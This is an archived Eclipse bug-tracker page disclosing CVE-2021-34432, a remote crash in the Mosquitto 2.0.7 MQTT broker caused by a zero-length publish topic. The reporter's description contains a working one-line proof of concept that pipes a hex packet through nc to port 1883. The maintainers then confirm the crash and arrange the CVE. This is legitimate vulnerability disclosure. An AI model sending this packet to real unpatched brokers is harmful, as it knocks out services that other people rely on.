

This site is maintained for archival purposes only. Eclipse projects have transitioned to [GitHub](#) and [Eclipse GitLab](#). Use the [Projects search tool](#) to locate your project and access its latest code and issue tracker.

Bug 574141 (CVE-2021-34432) - Remote crash in Mosquitto 2.0.7 when publish topic length is 0

Status: CLOSED FIXED

Alias: CVE-2021-34432

Product: Community

Component: Vulnerability Reports ([show other bugs](#))

Version: unspecified 

Hardware: PC Linux

Importance: P3 major ([vote](#))

Target Milestone: --- 

Assignee: Security vulnerability reported against Eclipse projects 

QA Contact:

URL:

Whiteboard:

Keywords: security

Depends on:

Blocks:

Reported: 2021-06-10 19:44 EDT by Bryan Pearson 

Modified: 2021-08-22 08:57 EDT ([History](#))

CC List: 2 users ([show](#))

See Also:

Attachments

[Add an attachment](#) (proposed patch, testcase, etc.)

Note

You need to [log in](#) before you can comment on or make changes to this bug.

Bryan Pearson  2021-06-10 19:44:44 EDT

[Description](#)

In Mosquitto version 2.07 (also tested in 2.06), the server will crash if the client tries to send a PUBLISH packet with topic length = 0. This can be replicated with the following command:

```
echo
102b00044d5154540500003c0822000a110000000f00166d7174746f6f6c732d383739363736313532303132393d09000000621000a220005e000
| xxd -p -r | nc localhost 1883
```

It seems this was patched in version 2.08 due to the following commit. However, I have not seen this vulnerability reported anywhere.

<https://github.com/eclipse/mosquitto/commit/9b08faf0bdaf5a4f2e6e3dd1ea7e8c57f70418d6>

Wayne Beaton  2021-06-11 00:32:10 EDT

[Comment 1](#)

/cc Eclipse Mosquitto Project lead.

Roger can you have a look, please?

Roger Light  2021-06-11 13:49:55 EDT

[Comment 2](#)

I confirm that does look to have that effect. As I remember (and what it looks like), the fix was made in the context of those functions in the client library, so the fix in the broker is a happy result. That is why the vulnerability hasn't been reported anywhere.

What's the best thing to do here?

Bryan Pearson  2021-07-24 10:57:14 EDT

[Comment 3](#)

Do we have any updates on this issue?

Wayne Beaton  2021-07-24 22:37:52 EDT

[Comment 4](#)

(In reply to Roger Light from [comment #2](#))

> I confirm that does look to have that effect. As I remember (and what it
> looks like), the fix was made in the context of those functions in the
> client library, so the fix in the broker is a happy result. That is why the
> vulnerability hasn't been reported anywhere.
>
> What's the best thing to do here?

If the vulnerability exists in any version, we should issue a CVE.

Should we just tweak the description that Bryan provided?

"In Eclipse Mosquitto versions 2.07 and earlier, the server will crash if the client tries to send a PUBLISH packet with topic length = 0."

Roger Light  2021-07-27 05:57:59 EDT

[Comment 5](#)

That looks fine to me Wayne.

Wayne Beaton  2021-07-27 11:24:34 EDT

[Comment 6](#)

We'll use CVE-2021-34432. I've pushed a record to Mitre.

Roger Light  2021-08-22 08:57:28 EDT

[Comment 7](#)

This can be closed now, the CVE is recorded and reported.

[Format For Printing](#) - [XML](#) - [Clone This Bug](#) - [Top of page](#)